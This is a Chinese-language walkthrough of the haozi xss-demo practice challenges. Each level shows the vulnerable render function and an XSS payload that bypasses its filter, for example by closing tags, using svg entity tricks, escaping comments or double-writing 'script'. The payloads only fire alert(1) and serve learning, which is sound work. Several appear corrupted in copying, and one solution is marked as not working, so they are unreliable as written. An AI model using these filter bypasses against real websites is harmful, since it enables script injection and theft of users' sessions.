xss练习
项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
自带alert(1)的js地址:https://xss.haozi.me/j.js
题解:
0x00
没有丝毫的过滤措施,且最后的输出位置在
function render (input) {
return '<div>' + input + '</div>'
}
<script>alert(1)</script>
0x01
0x01和0x00不同的地方在于这里xss插入的位置在于标签中。
function render (input) {
return '<textarea>' + input + '</textarea>'
}
闭合标签,再构造xss语句
</textarea><script>alert(1)</script>
0x02
这题xss的引入位置在标签,且在value的位置。
function render (input) {
return '<input type="name" value="' + input + '">'
}
闭合标签,再构造xss语句
"><script>alert(1)</script>"
0x03
0x03中代码主要的作用就是将()替换成为空字符。
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
这里其实我们可以使用模版字符串来绕过。在Es6中,模版字符串可以紧跟在一个函数名后面,该函数将被调用来处理这个模板字符串,这被称为“标签模板”功能。
<script>alert
1</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
从代码中来看,过滤了()和反引号,所以这里构造xss的话可以使用<svg>
标签,<svg>
标签中可以直接执行实体字符。
<svg><script>alert(1)</script>
又或者可以H5中iframe的特点,因为h5中iframe的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段。
<iframe srcdoc="<script>alert(1)</script>">
0x05
function render (input) {
input = input.replace(/-->/g, '笑脸')
return '<!-- ' + input + ' -->'
}
这里将html的–>注释符替换成笑脸,并输出在html的注释中。
html注释支持以下两种方式:
<!-- xxx -->
<!- xxx -!> <!— 以!开头,以!结尾对称注释的方式 —!>
所以payload如下:
--!><script>alert(1)</script>
0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
过滤以auto开头或者on开头,=等号结尾的标签属性并替换成_,且忽略大小写,虽然看起来好像无解了。但是这里我们可以通过换行来绕过正则的检查
onmousemove
=alert(1)
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这里通过正则表达式匹配了<开头,>结尾的标签字符串,且忽略大小写,并将其替换成空;这里解法可以通过浏览器的容错性,去掉最后的>,来绕过这个正则的检查。
<svg/'alert(1)'
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
这里将标签替换成/ \u574F\u4EBA /,忽略大小写;目的在于防止我们闭合
</style
><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
正则表达式要求以https://www.segmentfault.com开头的输入,否则返回失败;这里xss的点在
https://www.segmentfault.com"></script><svg/alert(1)>//
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
这里在上面的基础上转义了许多的特殊符号,例如单引号,双引号等,并且输入点是在
假设我们访问http://a.com@10.10.10.10 ,实际是http://10.10.10.10。所以这里的payload,但是url中的特殊符号会被过滤,过滤后的html实体编码在html标签属性值中无影响,可以直接解析。
https://www.segmentfault.com@xss.haozi.me/j.js
尝试并未成功???
0x0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
这里将输入全部大写处理,有几个tips:
html标签大小写无影响;
js严格区分大小写。
所以两种解法,一种通过
<script src="https://xss.haozi.me/j.js"></script>
第二种,可以在html标签内可以使用html实体编码绕过;
<img src=x alert(1)>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
这题过滤了script标签,忽略大小写且替换为空,并且将所有的内容全部大些处理,我们可以参考0x0B的解法,因为这里正则只过滤一次,因此我们可以通过双写script来绕过。
<scscriptript src="https://xss.haozi.me/j.js"></scscriptript>>
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
正则匹配<,/,",'这四个符号,并且替换为空,但是输入点是在//注释后。
这里我们可以通过换行来逃逸//注释,但是最后的单引号还存在,所以我们还需要注释最后的单引号。这里我们可以使用html注释–>闭合绕过;
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
正则匹配<开头的字符串,替换为<_字母,且将输入全部大写;
由于匹配了<+字母,即所有标签全部gg,并别提之后的绕过大写,这里查资料发现字符ſ大写后为S(ſ不等于s);
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src "console.error('${escapeHtml(input)}')">`
}
这里将一些特殊字符编码处理了,但是这里的xss点在img标签中,看起好像没办法闭合了,但是这里的位置是在onerror属性中,所以我们可以闭合前面部分的代码,引出我们要的xsspayload,并且注释掉后面部分的代码
');alert(1);//
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
这题xss输出点在
'1';alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
过滤一些字符;输入点在自定义参数的字符串值中,/替换为/,但"双引号过滤后的"正好将\引入在内。
"),alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
匹配"双引号,并替换为\";由于输入点在script标签外,则不能考虑html实体编码;
“替换成\”,在实际输出中可以在添一个\来转义掉第一个\绕过;
\");alert(1);//
题解参考:红日安全